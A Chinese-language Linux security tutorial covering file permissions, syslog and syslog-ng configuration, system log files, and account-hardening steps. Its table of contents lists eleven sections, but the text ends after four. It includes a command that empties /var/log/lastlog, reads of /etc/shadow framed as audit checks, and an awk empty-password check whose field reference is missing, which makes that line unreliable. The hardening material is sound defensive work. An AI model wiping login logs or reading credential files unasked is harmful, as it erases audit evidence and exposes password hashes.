Linux System Reinforcement、Intrusion Detection Based On syslog

目录

1.文件系统及访问权限
2. Linux Syslog
3. Linux日志审计
4. 帐号安全管理
5. 基础物理安全
6. 系统编译环境安全
7. 系统病毒、后门、rootkit安全
8. 系统端口、服务安全
9. 系统内核安全
10. 基于系统日志审计的入侵检测
11. 构建日志收集系统过程中面临的技术挑战

 

1.文件系统及访问权限

Linux为每个文件都分配了一个文件所有者,称为"文件属主",并赋予文件主惟一的注册名

1. 对文件的控制取决于文件主或超级用户root(linux系统中的root用户有无条件的最高权限)
2. 文件或目录的创建者(属主)对所创建的文件或目录拥有特别使用权
文件的所有关系是可以改变的,文件或目录的所有权可以转让给其它用户,但只有文件主或root用户才有权改变文件的所有关系

linux下文件/目录的权限基本原理如下

1. 文件权限转移
文件的所有权标志是用户ID(UID)。chown命今可以更改某个文件或目录的所有权。例如,超级用户把自己的一个文件拷贝给用户cg,为了让用户cg能够存取这个文件,超级用户(root)应该把这个文件的属主设为cg,否则,用户cg就
无法存取这个文件 chown [cfhvR] 用户 或 组[文件1] [文件2]....
1) 用户可以是用户名或用户ID 2) 文件是以空格分开的、要改变权限的文件列表,可以用通配符表示文件名 如果改变了文件或目录的所有权,原文件主将不再拥有该文件或目录的权限。系统管理员经常使用chown命令,在将文件拷贝到另一个用户的目录下以后,让用户拥有使用该文件的权限 2. 文件的属主/属组 在Linux下,每个文件又同时属于一个用户组。当创建一个文件或目录时,系统就会赋予它一个用户组关系,用户组的所有成员都可以使用此文件或目录。 文件用户组关系的标志是GID。文件的GID只能由文件主或超级用户(root)来修改。chgrp命令可以改变文件或目录的拥有者或所属群组 chgrp [cfhRv] group文件名或目录 1) group是用户组ID 2) 文件名是以空格分开的,它支持通配符 Linux系统中的每个文件和目录都有访问许可权限(ACL),用它来确定谁可以通过何种方式对文件和目录进行访问及操作。访问权限规定三种不同类型的用户 1) 文件主(owner) 2) 同组用户(group) 3) 可以访问系统的其它用户(others) 访问权限规定三种访问文件或目录的方式,即 1) 读(r) 1.1) 文件 对于文件,读权限(r)表示只允许指定用户读其内容,而禁止对其做任何的更改操作,将所访问的文件内容作为输入的命令需要有读的权限,例如命令more、head、cat等 1.2) 目录 对于目录,读权限(r)可以列出存储在该目录下的文件,即读目录内容列表。这一权限允许shell使用文件扩展名字符列出相匹配的文件名(即ll xxdir | grep xxx) 2) 写(w) 2.1) 文件 写权限(w)表示允许指定用户打开并修改文件,例如命令cp、vi、mv等 2.2) 目录 写权限(w)表示允许从目录中删除或添加新的文件,通常只有目录主才有写权限 3) 可执行(x) 3.1) 文件 执行权限(x)允许指定用户将该文件作为一个程序执行。可以使用"ls -l"查看一个文件的详细属性。 3.2) 目录 执行权限(x)允许在目录中查找,并能用cd命令将工作目录改到该目录。使用"ls -ld"命令可以查看一个目录的详细属性

Relevant Link:

http://www.cnblogs.com/LittleHann/p/3862652.html
http://www.2cto.com/Article/201205/129787.html

 

2. Linux Syslog

在学习linux下的各种日志文件之前,我们有必须先来学习一下Linux Syslog

0x1: 背景

许多应用程序需要记录它们的活动。系统程序经常需要向控制台或日志文件写消息。这些消息可能指示错误、警告或是与系统状态有关的一般信息。例如,su程序会把某个用户尝试得到超级用户权限但失败的事实记录下来

通常这些日志信息被记录在系统文件中,而这些系统文件又被保存在专用于此目的的目录中,通常是/usr/adm或/var/log目录,例如

1. /var/log/messages:包含所有系统信息
2. /var/log/mail:包含来自邮件系统的其他日志信息
3. /var/log/debug:可能包含调试信息
//可以通过查看/etc/syslog.conf文件来检查系统配置

0x2: syslog和Linux日志文件的关系

虽然系统消息的格式和存储方式不尽相同,可产生消息的方法却是标准的。*NIX规范为所有程序提供了一个接口,通过syslog函数来产生日志信息
syslog函数向系统的日志工具发送一条日志信息。每条信息都有一个priority参数,该参数是一个"严重级别"与一个"设施值"的按位或

1. 严重级别: 控制日志信息的处理(按优先级递减排列)
    1) LOG_EMERG: 紧急情况
    2) LOG_ALERT: 高优先级故障,例如数据库崩溃
    3) LOG_CRIT: 严重错误,例如硬件故障
    4) LOG_ERR: 错误
    5) LOG_WARNING: 警告
    6) LOG_NOTICE: 需要注意的特殊情况
    7) LOG_INFO: 一般信息
    8) LOG_DEBUG: 调试信息 
2. 设施值: 记录日志信息的来源(定义在syslog.h)
    1) LOG_USER(默认值): 指出消息来自一个用户应用程序
    2) LOG_LOCAL0
    3) LOG_LOCAL1
    ..
    4) LOG_LOCAL7
    它们的含义由本地管理员指定 

根据系统配置

1. LOG_EMERG信息: 可能会广播给所有用户
2. LOG_ALERT信息: 可能会EMAIL给管理员
3. LOG_DEBUG信息: 可能会被忽略
4. 其他信息: 则写入日志文件

当我们编写的程序需要使用日志记录功能时,只要在希望创建一条日志信息时简单的调用syslog函数即可 

0x3: syslog日志服务

Linux syslog的作用是提供一个统一的日志产生(log raise)的接口,以一个标准化的格式在linux系统中产生指定事件的事件日志

1. 守护进程: syslog默认有两个守护进程
    1) klogd: 记录系统运行的过程中内核生成的日志
    2) syslogd: 记录非内核以外的信息
2. 端口: 514
3. 配置文件: /etc/syslog.conf
4. 常见日志文件:
    1) /var/log/dmesg: 内核引导信息日志
    2) /var/log/message: 标准系统错误信息日志
    3) /var/log/maillog: 邮件系统信息日志
    4) /var/log/cron: 计划任务日志
    5) /var/log/secure: 安全信息日志

0x4: syslog配置文件

# Log anything (except mail) of level info or higher.
# Don't log private authentication messages!
*.info;mail.none;authpriv.none;cron.none                /var/log/messages

# The authpriv file has restricted access.
authpriv.*                                              /var/log/secure

# Log all the mail messages in one place.
mail.*                                                  -/var/log/maillog


# Log cron stuff
cron.*                                                  /var/log/cron

# Everybody gets emergency messages
*.emerg                                                 *

# Save news errors of level crit and higher in a special file.
uucp,news.crit                                          /var/log/spooler

# Save boot messages also to boot.log
local7.*                                                /var/log/boot.log

配置文件中每行表示一个项目,由两个部分组成,格式为

facility.level    action

格式解释

1. 第一部分:选择条件(可以有一个或者多个条件),分为两个字段,间用一个小数点(.)分隔
选择条件是对消息类型的一种分类,这种分类便于人们把不同类型的消息发送到不同的地方。在同一个syslog配置行上允许出现一个以上的选择条件,但必须用分号(;)隔开
    1.1 前一字段是一项服务
        1) kern: 内核信息
        2) user: 用户进程信息 
        3) mail: 电子邮件相关信息 
        4) daemon: 后台进程相关信息 
        5) authpriv: 包括特权信息如用户名在内的认证活动 
        6) cron: 计划任务信息 
        7) syslog: 系统日志信息
        8) lpr: 打印服务相关信息 
        9) news: 新闻组服务器信息
        10) uucp: uucp生成的信息
        11) local0-local7: 本地用户信息
    1.2 后一字段是一个优先级
    重要级是选择条件的第二个字段,它代表消息的紧急程度。按严重程度由低到高排序:
        1) debug: 不包含函数条件或问题的其他信息
        2) info: 提供信息的消息
        3) none: 没有重要级,通常用于排错
        4) notice: 具有重要性的普通条件
        5) warning: 预警信息
        6) err: 阻止工具或某些子系统部分功能实现的错误条件
        7) crit: 阻止某些工具或子系统功能实现的错误条件
        8) alert: 需要立即被修改的条件
        9) emerg: 该系统不可用

2. 第二部分:操作动作;  
日志信息可以分别记录到多个文件里,还可以发送到命名管道、其他程序甚至另一台机器。
syslog 主要支持以下活动:
    1) file: 指定文件的绝对路径
    2) terminal 或 prin: 完全的串行或并行设备标志符
    3) @host(@IP地址): 远程的日志服务器

0x5: syslog编程示例

#include <syslog.h>
#include <stdio.h>
 
int main(void)
{
        FILE *f;
 
        f = fopen("abc","r");
        if(!f) 
    {
         syslog(LOG_ERR|LOG_USER,"hello world!! - %m/n");     
    }                
}

Relevant Link:

http://blog.csdn.net/telehiker/article/details/1830575
http://iminmin.blog.51cto.com/689308/437168

0x6: syslog-ng

syslog-ng (syslog-Next generation) 是syslog的升级版

1. 高性能
2. 可靠的传输
3. 支持多平台
4. 高可靠性
5. 众多的用户群体
6. 强大的日志过滤及排序
7. 事件标签和关联性
8. 支持最新的IETF标准
....

syslog-ng的配置文件(配置syslog-ng server),etc/syslog-ng.conf

# 全局选项,多个选项时用分好";"隔开 
options { .... }; 

# 定义日志源, 
source s_name { ... }; 

# 定义过滤规则,规则可以使用正则表达式来定义,这里是可选的,不定义也没关系 
filter f_name { ... }; 

# 定义目标 
destination d_name { ... }; 

# 定义消息链可以将多个源,多个过滤规则及多个目标定义为一条链 
log { ... }; 

/*
详解如下
*/
---------------------------------------------------------------- 
options { long_hostnames(off); sync(0); perm(0640); stats(3600); }; 
    更多选项如下 
    chain_hostnames(yes|no)     # 是否打开主机名链功能,打开后可在多网络段转发日志时有效 
    long_hostnames(yes|no)      # 是chain_hostnames的别名,已不建议使用 
    keep_hostname(yes|no)       # 是否保留日志消息中保存的主机名称 
    use_dns(yes|no)             # 是否打开DNS查询功能, 
    use_fqdn(yes|no)            # 是否使用完整的域名 
    check_hostname(yes|no)      # 是否检查主机名有没有包含不合法的字符 
    bad_hostname(regexp)        # 可通过正规表达式指定某主机的信息不被接受 
    dns_cache(yes|no)           # 是否打开DNS缓存功能 
    dns_cache_expire(n)         # DNS缓存功能打开时,一个成功缓存的过期时间 
    dns_cache_expire_failed(n)  # DNS缓存功能打开时,一个失败缓存的过期时间 
    dns_cache_size(n)           # DNS缓存保留的主机名数量 
    create_dirs(yes|no)         # 当指定的目标目录不存在时,是否创建该目录 
    dir_owner(uid)              # 目录的UID 
    dir_group(gid)              # 目录的GID 
    dir_perm(perm)              # 目录的权限,使用八进制方式标注,例如0644 
    owner(uid)                  # 文件的UID 
    group(gid)                  # 文件的GID 
    perm(perm)                  # 文件的权限,同样,使用八进制方式标注
    
    # 当syslog-ng忙时,其进入垃圾信息收集状态的时间一旦分派的对象达到这个数字,syslog-ng就启动垃圾信息收集状态。默认值是:3000
    gc_busy_threshold(n) 
    
    # 当syslog-ng空闲时,其进入垃圾信息收集状态的时间一旦被分派的对象到达这个数字,syslog-ng就会启动垃圾信息收集状态,默认值是:100 
    gc_idle_threshold(n)
    
    # 输出队列的行数 
    log_fifo_size(n) 

    # 消息日志的最大值(bytes) 
    log_msg_size(n)             
    mark(n)                     # 多少时间(秒)写入两行MARK信息供参考,目前没有实现 
    stats(n)                    # 多少时间(秒)写入两行STATUS信息,默认值是:600
    
    # 缓存多少行的信息再写入文件中,0为不缓存,局部参数可以覆盖该值
    sync(n)                     
    time_reap(n)                # 在没有消息前,到达多少秒,即关闭该文件的连接 
    time_reopen(n)              # 对于死连接,到达多少秒,会重新连接 
    use_time_recvd(yes|no)      # 宏产生的时间是使用接受到的时间,还是日志中记录的时间;建议使用R_的宏代替接收时间,S_的宏代替日志记录的时间,而不要依靠该值定义。 
 
source s_name { internal(); unix-dgram("/dev/log"); udp(ip("0.0.0.0") port(514)); }; 
 
    file (filename)                 # 从指定的文件读取日志信息 
    unix-dgram  (filename)          # 打开指定的SOCK_DGRAM模式的unix套接字,接收日志消息 
    unix-stream (filename)          # 打开指定的SOCK_STREAM模式的unix套接字,接收日志消息 
    udp ( (ip),(port) )             # 在指定的UDP端口接收日志消息 
    tcp ( (ip),(port) )             # 在指定的TCP端口接收日志消息 
    sun-streams (filename)          # 在solaris系统中,打开一个(多个)指定的STREAM设备,从其中读取日志消息 
    internal()                      # syslog-ng内部产生的消息 
    pipe(filename),fifo(filename)   # 从指定的管道或者FIFO设备,读取日志信息 
 
filter f_name   { not facility(news, mail) and not filter(f_iptables); }; 
    更多规则函数如下 
    facility(..)    # 根据facility(设备)选择日志消息,使用逗号分割多个facility 
    level(..)       # 根据level(优先级)选择日志消息,使用逗号分割多个level,或使用".."表示一个范围 
    program(表达式)    # 日志消息的程序名是否匹配一个正则表达式 
    host(表达式)   # 日志消息的主机名是否和一个正则表达式匹配 
    match(表达式)  # 对日志消息的内容进行正则匹配 
    filter()        # 调用另一条过滤规则并判断它的值 
    定义规则的时候也可以使用逻辑运算符and or not 
 
destination d_name { file("/var/log/messages"); }; 
    更多动作如下 
    file (filename)                 # 把日志消息写入指定的文件(日志记录到本地磁盘)
    unix-dgram  (filename)          # 把日志消息写入指定的SOCK_DGRAM模式的unix套接字(日志记录到远程server)
    unix-stream (filename)          # 把日志消息写入指定的SOCK_STREAM模式的unix套接字(日志记录到远程server)
    udp (ip),(port)                 # 把日志消息发送到指定的UDP端口 
    tcp (ip),(port)                 # 把日志消息发送到指定的TCP端口 
    usertty(username)               # 把日志消息发送到已经登陆的指定用户终端窗口 
    pipe(filename),fifo(filename)   # 把日志消息发送到指定的管道或者FIFO设备 
    program(parm)                   # 启动指定的程序,并把日志消息发送到该进程的标准输入 
 
log { source(s_name); filter(f_name); destination(d_name) }; 

一条日志的处理流程大概是这样的

1. 日志的来源: source s_name { ... };
2. 过滤规则: filter f_name { ... };
3. 消息链: log { source(s_name); filter(f_name); destination(d_name) }; 
4. 目标动作: destination d_name { ... }; 
//需要注意的是一条日志消息过了之后,会匹配定义的所有配置,并不是匹配到以后就不再往下匹配了 

可用的来源日志的:

1. internal: syslog-ng内部产生的消息
2. unix-stream: 打开指定的SOCK_STREAM模式的unix套接字,接收日志消息
3. unix-dgram: 打开指定的SOCK_DGRAM模式的unix套接字,接收日志消息
4. file: 打开指定的文件读取日志信息
5. pipe、fifo: 打开指定的管道或者FIFO设备,读取日志信息
6. tcp: 在指定的TCP端口接收日志消息
7. udp: 在指定的UDP端口接收日志消息

目的地(destination)
总体来说,syslog-ng server在收到clinet发来的log请求的时候(即syslog()的调用方),可以选择的记录方式有

1. file(): file是syslog-ng最重要的日志消息目的驱动器之一。使用它,你可以把日志消息定向到一些文件中 
2. program(): 这个支持给日志消息传送给一个程序 
3. pipe(): 通过pipe()日志消息目的驱动器把日志消息发送到/dev/xconsole之类的命名管道 
4. unix-stream()、unix0dgram(): 通过这两个日志消息目的驱动器把日志消息发送到一个SOCK_STREAM或者SOCK_DGRAM模式的UNIX套接字 
5. udp()、tcp(): 使用TCP或者UDP协议把日志消息送到本地网络上或者internet上的另外的主机 
6. usertty(): 使用这个日志消息目的驱动器把日志消息送到一个登录用户使用的终端 
7. program(): 驱动器fork出一个进程,使用给定的参数执行一个特定的程序,然后把日志消息送到这个进程的标准输入设备 

Relevant Link:

http://www.php-oa.com/2012/01/13/linux-syslog-ng.html
http://ant595.blog.51cto.com/5074217/1080922
http://blog.csdn.net/firedb/article/details/8137425
http://baike.baidu.com/view/3426564.htm#5
http://blog.chinaunix.net/uid-27575921-id-3529876.html
http://blog.sina.com.cn/s/blog_67b8673901013xaj.html
http://www.balabit.com/network-security/syslog-ng/opensource-logging-system/features
http://www.balabit.com/network-security/syslog-ng/opensource-logging-system/features/client-side#client4
http://www.balabit.com/network-security/syslog-ng

0x7: 优化syslog-ng

syslog-ng的默认配置是针对单服务器或者工作站的,为了获得更高的性能,需要对齐进行调整和优化

1. 设置垃圾收集参数
syslog-ng有自己的垃圾收集器,而且一旦进入"垃圾收集状态"就不再接受日志消息,从而造成非连接(UDP)的传输协议的信息丢失。因此,需要对syslog-ng的垃圾收集状态进行监控,可以通过以下两个选项来控制其垃圾收集状态
    1) gc_idle_threshold: 空闲状态时阀值,如果分配的对象到达这个数字,而且系统处于空闲状态(100ms内没有日志),syslog-ng就启动垃圾收集器。这个时候系统处于空闲状态,因此基本不会造成日志信息的丢失,这个数值(gc_idle_threshold)应该"比较小",即syslog-ng应该尽可能多的频繁进行memory flush,以降低消息的延时和保持临时缓存的空闲率
    2) gc_busy_threshold: 忙时的阀值,如果syslog-ng正处于接受日志消息(日志消息的间隔小于100ms),为了防止其将所有内存消耗殆尽,也应该强制进行垃圾收集。这个值应该"比较高",以便在正常情况下不打断日志消息的接收
/*
syslog-ng的垃圾收集采取"mark and sweep"的模式,即
1. syslog-ng使用一块内存作为消息的临时缓存空间,syslog-ng server收到的所有消息不管将来要通过网络转发还是保存到本地磁盘都是先临时缓存到这块buffer内存空间中
2. 当接收到消息时,syslog-ng将消息放到临时缓存的内存buffer中,并将这块内存打标(mark)
3. gc_idle_threshold、gc_busy_threshold体现了一种"最优下限、最低可容忍上限"的算法思想,即
    1) 在正常情况下,根据gc_idle_threshold进行垃圾收集
    2) 在最坏情况下,即使承担丢包的风险也要根据gc_busy_threshold进行垃圾收集

Syslog-ng 2.0 is a complete reimplementation of syslog-ng 1.6, and does not use the mark and sweep garbage collector at all. The garbage collector parameters (gc_idle_threshold, gc_busy_threshold) are still accepted but are ignored.
*/

2. 设置输出队列大小
为了防止发送日志的deamon程序阻塞,syslog-ng一直在读取其向内的日志通过,如果输出队列已满,就可能造成日志消息的丢失,因此,设置输出队列的大小非常重要
我们可以设置全局输出队列的大小: options { log_fifo_size(1000); }; 
也可以为每个日志消息驱动器设置输出队列的大小: destination d_dmessages { file("/var/log/messages" log_fifo_size(1000); }; 
/*
输出队列的大小应该合理,这对于大量的日志消息负载来说特别重要,如果突然涌入的日志消息占据了目标通道的所有带宽,syslog-ng能够把日志消息保存到输出队列中,等高峰过去再发出
值得注意的,高负载场景的关键点是供需关系,如果当前网络带宽小于消息产生速度(即消费者小于生产者),则任何缓存策略都是无用的
*/

3. 设置同步(sync)参数
syslog-ng一先对日志消息进行缓存,当达到一定的数量,就写入磁盘,syslog-ng使用write()系统调用将每条消息写入磁盘

4. 设置time_sleep参数
采取"延迟处理"的思想,当负责读取消息队列的线程(生产者)的内存、CPU消耗超过了一个阀值,则进行一定的delay延时,以便留出充足的时间让网络发送线程(消费者)将消息发送出去

Relevant Link:

http://www.suse.url.tw/sles10/lesson9.htm
https://github.com/balabit/syslog-ng
http://15103850.blog.hexun.com.tw/88316673_d.html
http://www.syslog.org/syslog-ng/v2/#id2538698
https://github.com/balabit/syslog-ng

 

3. Linux日志审计

0x1: 系统级别的日志

Linux的日志文件用来记录整个操作系统使用状况,他们是黑客攻击的重点目标,linux系统中,大部分的日志都保存在/var/log(还有一些例外例如mysql、未读邮件等),所以作为一个Linux网络系统管理员要充分用好以下几个系统日志文件

1. /var/log/boot.log
系统的引导日志

2. /var/log/dmesg
核心(内核)启动日志

3. /var/log/messages: 系统报错日志
messages日志是核心系统日志文件。它包含了大量的运行时信息,例如
    1) 系统启动时的引导消息
    2) IO错误
    3) 网络错误信息
    4) 某个人的身份切换为root
    5) 如果服务正在运行,比如DHCP服务器,您可以在messages文件中观察它的活动
通常,/var/log/messages是我们在做故障诊断时首先要查看的文件 

4. /var/log/maillog
邮件系统日志

5. /var/log/xferlog
FTP系统日志
 
6. /var/log/secure 
记录系统自开通以来所有用户的登录时间和地点,可以给系统管理员提供更多的参考

7. /var/log/wtmp 
记录当前和历史上登录到系统的用户的登录tty、登录用户名、来源和时间等信息。和/var/log/lastlog一样,这个文件是一个二进制文件,需要用last命令查看
last -f /var/log/wtmp

8. /var/log/spooler
News日志

9. /var/log/rpmpkgs
RPM软件包

10. /var/log/boot.log: 引导日志
记录开机启动讯息,就是Linux系统开机自检过程显示的信息
dmesg | more

11. /var/log/cron: cron(定制任务日志)日志
该日志文件记录crontab守护进程crond所派生的子进程的动作(包括用户、登录时间和PID,以及派生出的进程的动作)
    1) CMD的一个动作是cron派生出一个调度进程的常见情况
    2) REPLACE(替换)动作记录用户对它的cron文件的更新
    3) RELOAD动作在REPLACE动作后不久发生,这意味着cron注意到一个用户的cron文件被更新而cron需要把它重新装入内存
该文件可能会查到一些反常的情况

12. /var/log/lastlog
记录最后进入系统的用户信息,包括登录的时间、登录是否成功等信息。这个文件是一个2进制文件,需要用lastlog命令进行读取,lastlog会枚举出当前系统中的所有用户(/etc/passwd)的登录情况
    1) lastlog
    查看一下/var/log/lastlog文件中记录的所用账号的最后登录时间,再与自己的用机记录对比一下就可以发现该账号是否被黑客盗用,如果发现在某个时间段有一个自己不认可的帐号的进行了登录,则说明发现了可疑行为 
    2) du -h /var/log/lastlog
    查看其lastlog保存空间占用情况 
    3) echo "" > /var/log/lastlog
    清空lastlog的日志保存
# lastlog
Username         Port     From             Latest
root                                       **Never logged in**
bin                                        **Never logged in**
daemon                                     **Never logged in**
adm                                        **Never logged in**
lp                                         **Never logged in**
sync                                       **Never logged in**
shutdown                                   **Never logged in**
halt                                       **Never logged in**
mail                                       **Never logged in**
uucp                                       **Never logged in**
operator                                   **Never logged in**
games                                      **Never logged in**
gopher                                     **Never logged in**
ftp                                        **Never logged in**
nobody                                     **Never logged in**
dbus                                       **Never logged in**
usbmuxd                                    **Never logged in**
vcsa                                       **Never logged in**
rtkit                                      **Never logged in**
avahi-autoipd                              **Never logged in**
abrt                                       **Never logged in**
pulse                                      **Never logged in**
haldaemon                                  **Never logged in**
saslauth                                   **Never logged in**
postfix                                    **Never logged in**
ntp                                        **Never logged in**
apache                                     **Never logged in**
gdm                                        **Never logged in**
sshd                                       **Never logged in**
tcpdump                                    **Never logged in**
zhenghan                                   **Never logged in**

13. /var/run/utmp 
This file contains information about the users who are currently logged onto the system. 'who' command uses this file to display the logged in users: - See more at: 
# who
root     tty1         2014-08-21 17:18 (:0)
root     pts/1        2014-08-21 17:30 (:0.0)
root     pts/4        2014-08-21 17:54 (:0.0)
root     pts/8        2014-08-23 04:51 (:0.0)
root     pts/11       2014-08-29 07:04 (:0.0)
The utmp file allows one to discover information about who is currently using the system. There may be more users currently using the system, because not all programs use utmp 
logging
14. /var/log/wtmp This file is like history for utmp file, i.e. it maintains the logs of all logged in and logged out users (in the past). The 'last' command uses this file to display listing of
last logged in users. last root pts/12 :0.0 Fri Aug 29 07:14 - 07:14 (00:00) root pts/11 :0.0 Fri Aug 29 07:04 still logged in root pts/10 :0.0 Sun Aug 24 01:54 - 01:54 (00:00) root pts/9 :0.0 Sat Aug 23 05:02 - 05:45 (00:43) root pts/8 :0.0 Sat Aug 23 04:51 still logged in root pts/7 :0.0 Fri Aug 22 04:44 - 04:39 (23:55) root pts/6 :0.0 Thu Aug 21 21:36 - 02:05 (04:29) root pts/5 :0.0 Thu Aug 21 18:09 - 20:14 (02:05) root pts/4 :0.0 Thu Aug 21 17:54 still logged in root pts/3 :0.0 Thu Aug 21 17:47 - 17:47 (00:00) root pts/2 :0.0 Thu Aug 21 17:47 - 17:51 (00:03) root pts/1 :0.0 Thu Aug 21 17:30 still logged in root pts/0 :0.0 Thu Aug 21 17:19 - 18:06 (00:47) root tty1 :0 Thu Aug 21 17:18 still logged in reboot system boot 2.6.32-358.el6.i Thu Aug 21 17:18 - 06:10 (20+12:52) root pts/6 :0.0 Wed Aug 20 23:26 - 17:10 (17:43) root pts/5 :0.0 Wed Aug 20 23:08 - 23:24 (00:16) root pts/4 :0.0 Wed Aug 20 23:01 - 23:01 (00:00) root pts/3 :0.0 Wed Aug 20 22:30 - 22:30 (00:00) root pts/2 :0.0 Wed Aug 20 22:16 - 22:19 (00:02) root pts/1 :0.0 Wed Aug 20 21:19 - down (19:58) root pts/0 :0.0 Wed Aug 20 21:17 - down (19:59) root tty7 :0 Wed Aug 20 21:13 - down (20:04) reboot system boot 2.6.32-358.el6.i Thu Aug 21 04:45 - 17:17 (12:31) 15. /var/log/btmp This file contains bad login attempts. This file is used by 'lastb' command lastb btmp begins Thu Sep 4 19:20:02 2014 16. /var/log/secure This file contains all security related messages on the system. This includes authentication failures, possible break-in attempts, SSH logins, failed passwords, sshd logouts,
invalid user accounts etc.
17. /var/auth.log ubuntu下的/var/log/secure等价文件

以上几个文件都是由klogd、和syslogd进行记录的

1. klogd
通常klogd用来记录系统内核所产生的日志信息,也就是工作在系统内核态的进程所产生的日子记录

2. syslogd守护进程进行记录的
syslogd用来记录工作在用户态的进程的日志信息,这些程序包括以下几种进程
    1) 用户进程
    2) 网络服务器进程
    3) 多数的系统守护进程

因此,对于管理人员而言,通过及时检查syslogd记录的信息能够发现绝大多数的系统异常情况

syslogd负责发送、记录系统内核及工具所产生的信息。整个机制由以下几部分共同组成
    1) 系统调用syslog()

    2) 系统守护进程syslogd
    sys1ogd进程在系统启动时由/etc/rc.d/rc2.d/S12syslog启动。如果需要手工启动或停止syslogd,可以使用下面命令:
        2.1) /etc/rc.d/init.d/syslog start | stop

    3) 配置文件/etc/syslog.conf 
    通过配置syslog.conf,可以灵活地对信息的发送和保存进行控制

当系统内核及工具产生信息时,通过调用syslog(),把信息送往syslogd,它再根据/etc/syslog.conf中的配置要求,这些信息分别做如下处理

1) 记录到系统日志中
2) 输出到系统控制台上
3) 转发给指定的用户
4) 通过网络转发给其它主机上的syslogd 

0x2: 用户级别的操作日志

1. 特权指令执行记录
除了系统登录记录和syslog记录之外,在linux系统里,使用自己的记录方式。系统每天都会自动检查系统的安全设置, 包括对SetUID、SetGID的执行文件的检查,其结果将输出到/var/log/setuid.today文件中,管理员可以与
/var/log/security.yesterday文件对比,寻找系统安全设置的变化。 2. 硬件状态信息 在系统启动的时候,就将内核的检测信息输出到屏幕上,这些信息可以帮助用户分析系统中的硬件状态。一般使用dmesg命令来查看最后一次启动时输出的这个检测信息,这些信息被系统保存在/var/log/dmesg文件中 #cat /var/log/dmesg |more Linux version 2.6.32-431.23.3.el6.centos.plus.i686 (mockbuild@c6b9.bsys.dev.centos.org) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Tue Jul 29 23:27:50 UTC 2014 KERNEL supported cpus: Intel GenuineIntel AMD AuthenticAMD NSC Geode by NSC Cyrix CyrixInstead Centaur CentaurHauls Transmeta GenuineTMx86 Transmeta TransmetaCPU UMC UMC UMC UMC Disabled fast string operations BIOS-provided physical RAM map: BIOS-e820: 0000000000000000 - 000000000009f400 (usable) BIOS-e820: 000000000009f400 - 00000000000a0000 (reserved) BIOS-e820: 00000000000dc000 - 0000000000100000 (reserved) BIOS-e820: 0000000000100000 - 000000007fef0000 (usable) BIOS-e820: 000000007fef0000 - 000000007feff000 (ACPI data) BIOS-e820: 000000007feff000 - 000000007ff00000 (ACPI NVS) BIOS-e820: 000000007ff00000 - 0000000080000000 (usable) BIOS-e820: 00000000f0000000 - 00000000f8000000 (reserved) BIOS-e820: 00000000fec00000 - 00000000fec10000 (reserved) BIOS-e820: 00000000fee00000 - 00000000fee01000 (reserved) BIOS-e820: 00000000fffe0000 - 0000000100000000 (reserved) ..... 3. Bash Shell执行记录 各种Bash(kshell、cshell)还会记录用户使用的命令历史,使用用户主目录下的文件来记录这些命令历史,通常这个文件的名字为 1) .bash-history 2) .history(csh) ..

Relevant Link

http://blog.chinaunix.net/uid-25120309-id-3359929.html
http://www.liufofu.com/201207524.html
http://blog.chinaunix.net/uid-26569496-id-3199434.html
http://linoxide.com/linux-how-to/difference-between-utmp-wtmp-files-in-linux/
http://www.ewhathow.com/2013/09/linux-log-files-explained-varlog/

 

4. 帐号安全管理

0x1: 账户安全

1. 锁定系统中多余的自建帐号
检查方法: 执行命令
    1) #cat /etc/passwd
      2) #cat /etc/shadow
查看账户、口令文件,与系统管理员确认不必要的账号。对于一些保留的系统伪帐户:bin、sys、adm、uucp、lp、nuucp、hpdb、www、daemon等可根据需要锁定登陆
在进行操作之前,需要与管理员确认此项操作不会影响到业务系统的登录,如果对操作后的风险不确定,则可以采用备份的思路
备份方法:
      1) #cp -p /etc/passwd /etc/passwd_bak
      2) #cp -p /etc/shadow /etc/shadow_bak
加固方法:
      1) 使用命令passwd -l <用户名>锁定不必要的账号
      2) 使用命令passwd -u <用户名>解锁需要恢复的账号
  
2. 设置系统口令策略
检查方法: 执行命令
     1) #cat /etc/login.defs | grep PASS查看密码策略设置
备份方法:
      1) cp -p /etc/login.defs /etc/login.defs_bak
加固方法:
      1) #vi /etc/login.defs修改配置文件
      PASS_MAX_DAYS 90 #新建用户的密码最长使用天数
      PASS_MIN_DAYS 0 #新建用户的密码最短使用天数
      PASS_WARN_AGE 7 #新建用户的密码到期提前提醒天数
      PASS_MIN_LEN 9 #最小密码长度9
  
3. 禁用root之外的超级用户
检查方法: 
      1) #cat /etc/passwd 查看口令文件,口令文件格式如下
备份方法:
      1) #cp -p /etc/passwd /etc/passwd_bak
加固方法:
      1) 使用命令passwd -l <用户名>锁定不必要的超级账户 
      2) 使用命令passwd -u <用户名>解锁需要恢复的超级账户  

4. 限制能够su为root的用户
检查方法:
      1) #cat /etc/pam.d/su
    查看是否有auth required /lib/security/pam_wheel.so这样的配置条目
备份方法: 
    1) #cp -p /etc/pam.d /etc/pam.d_bak
加固方法:
      1) #vi /etc/pam.d/su
      在头部添加:
      auth required /lib/security/pam_wheel.so group=wheel
      这样,只有wheel组的用户可以su到root
      #usermod -G10 test 
    将test用户加入到wheel组
   
5. 检查shadow中空口令帐号
检查方法:
      1) #awk -F: '( == "") { print }' /etc/shadow
备份方法:
    1) cp -p /etc/shadow /etc/shadow_bak
加固方法:
    1) 对空口令账号进行锁定,或要求增加密码

0x2: 最小化服务

1. 停止或禁用与承载业务无关的服务
检查方法:
      1) runlevel 
    查看当前init级别
      2) chkconfig --list 
    查看所有服务的状态
备份方法:记录需要关闭服务的名称
加固方法:
      1) #chkconfig --level <服务名> on|off|reset 
    设置服务在个init级别下开机是否启动

0x3: 数据访问控制

1. 设置合理的初始文件权限
检查方法:
      1) cat /etc/profile 
    查看umask的值
备份方法:
      1) #cp -p /etc/profile /etc/profile_bak
加固方法:
      1) #vi /etc/profile
      umask=027 
会修改新建文件的默认权限,如果该服务器是WEB应用,则此项谨慎修改

0x4: 网络访问控制

1. 使用SSH进行管理
检查方法:
      1) ps –aef | grep sshd 
    查看有无此服务
备份方法:
加固方法:
      1) 使用命令开启ssh服务
      #service sshd start 

2. 设置访问控制策略限制能够管理本机的IP地址
检查方法:
      1) #cat /etc/ssh/sshd_config 
    查看有无AllowUsers的语句
备份方法:
      1) #cp -p /etc/ssh/sshd_config /etc/ssh/sshd_config_bak
加固方法:
      1) #vi /etc/ssh/sshd_config
    添加以下语句
      AllowUsers *@10.138.*.* 此句意为: 仅允许10.138.0.0/16网段所有用户通过ssh访问
      保存后重启ssh服务
      2) #service sshd restart
